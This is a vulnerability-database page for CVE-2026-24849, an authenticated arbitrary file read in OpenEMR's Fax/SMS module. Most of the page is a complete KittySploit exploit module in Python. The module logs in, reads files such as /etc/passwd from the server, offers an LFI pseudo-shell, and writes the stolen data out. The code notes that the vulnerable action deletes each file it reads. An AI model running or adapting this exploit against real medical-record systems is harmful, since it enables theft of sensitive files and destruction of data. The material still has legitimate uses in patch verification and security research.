OpenEMR Fax/SMS authenticated arbitrary file read
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2026-24849 | 25 Feb 202601:44 | – | attackerkb | |
| Exploit for Path Traversal in Open-Emr Openemr | 6 Jun 202605:48 | – | githubexploit | |
| CVE-2026-24849 | 25 Feb 202602:18 | – | circl | |
| OpenEMR 路径遍历漏洞 | 25 Feb 202600:00 | – | cnnvd | |
| CVE-2026-24849 | 25 Feb 202601:44 | – | cve | |
| CVE-2026-24849 OpenEMR Arbitrary File Read Vulnerability | 25 Feb 202601:44 | – | cvelist | |
| OpenEMR 7.0.2 - Arbitrary File Read | 8 Jun 202600:00 | – | exploitdb | |
| EUVD-2026-8581 | 25 Feb 202601:44 | – | euvd | |
| CVE-2026-24849 | 12 Oct 202615:40 | – | kitploit | |
| OpenEMR CVE-2026-24849 detection | 18 Jun 202605:49 | – | kittysploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
from lib.protocols.http.openemr_cve_2026_24849 import (
openemr_login,
openemr_read_file,
looks_like_etc_passwd,
)
class Module(Exploit, Http_client, Lfi):
__info__ = {
"name": "OpenEMR Fax/SMS authenticated arbitrary file read",
"description": (
"CVE-2026-24849: OpenEMR < 7.0.4 exposes an authenticated arbitrary file read in "
"the Fax/SMS EtherFax disposeDoc/disposeDocument action. Any valid OpenEMR user can "
"read files reachable by the web-server user when the module/provider is enabled."
),
"author": ["doany1", "KittySploit Team"],
"cve": ["CVE-2026-24849"],
"references": [
"https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc",
"https://nvd.nist.gov/vuln/detail/CVE-2026-24849",
],
"platform": Platform.UNIX,
"tags": ["openemr", "lfi", "file-read", "authenticated", "cve-2026-24849"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}, {'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
# This exploit reads files and does not use KittySploit payload handling.
payload = OptString("", "Unused for this file-read exploit", required=False, advanced=True)
port = OptPort(80, "OpenEMR HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
base_path = OptString("/openemr", "OpenEMR base path (use / if installed at web root)", required=True)
site = OptString("default", "OpenEMR site id", required=True)
username = OptString("admin", "OpenEMR username", required=True)
password = OptString("", "OpenEMR password", required=True)
output_file = OptString("", "Local file to write the retrieved content", required=False)
output_limit = OptInteger(12000, "Max characters to print when output_file is empty (0 = full)", required=False, advanced=True)
def _exploit(self):
return self.run()
def _login(self):
return openemr_login(self, self.base_path, self.site, self.username, self.password)
def execute(self, file_path: str) -> str:
data, status, action = openemr_read_file(self, self.base_path, self.site, file_path)
if status == "session":
print_error("Session rejected; check username/password/site")
return ""
if status == "missing":
print_error("File was not readable, or Fax/SMS EtherFax action is unavailable")
return ""
print_success(f"Read succeeded via {action}")
return data or ""
def check(self):
try:
self._login()
data, status, action = openemr_read_file(self, self.base_path, self.site, "/etc/passwd")
except Exception as e:
return {"vulnerable": False, "reason": f"Request failed: {e}", "confidence": "low"}
if status == "session":
return {"vulnerable": False, "reason": "Login failed or session rejected", "confidence": "medium"}
if status == "missing":
return {
"vulnerable": False,
"reason": "Authenticated, but Fax/SMS EtherFax file-read probe returned nothing",
"confidence": "medium",
}
if looks_like_etc_passwd(data or ""):
return {
"vulnerable": True,
"reason": f"CVE-2026-24849 confirmed: /etc/passwd read via {action}",
"details": f"/etc/passwd read via {action}",
"confidence": "high",
}
return {
"vulnerable": True,
"reason": f"File-read endpoint returned content via {action}, but probe content was unexpected",
"details": f"File-read endpoint returned {len(data or '')} bytes via {action}",
"confidence": "medium",
}
def run(self):
print_warning(
"The vulnerable OpenEMR action calls unlink() after readfile(). "
"Prefer root-owned probe files such as /etc/passwd, and only read other files if deletion risk is acceptable."
)
try:
self._login()
except Exception as e:
print_error(f"Login request failed: {e}")
return False
if self.shell_lfi:
print_status("LFI pseudo-shell (paths are read via OpenEMR Fax/SMS)")
self.handler_lfi()
return True
remote_path = str(self.file_read or "").strip()
if not remote_path:
print_error("file_read is required")
return False
data = self.execute(remote_path)
if not data:
return False
local = str(self.output_file or "").strip()
if local:
try:
with open(local, "w", encoding="utf-8", errors="ignore") as fh:
fh.write(data)
print_success(f"Wrote {len(data)} bytes from {remote_path} to {local}")
except OSError as e:
print_error(f"Could not write output_file: {e}")
return False
return True
limit = int(self.output_limit or 0)
if limit > 0 and len(data) > limit:
print_info(data[:limit] + "\n... [truncated]")
else:
print_info(data)
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
05 Aug 2026 13:34Current
6Medium risk
Vulners AI Score6
CVSS 3.16.5 - 9.9
EPSS0.02251
SSVC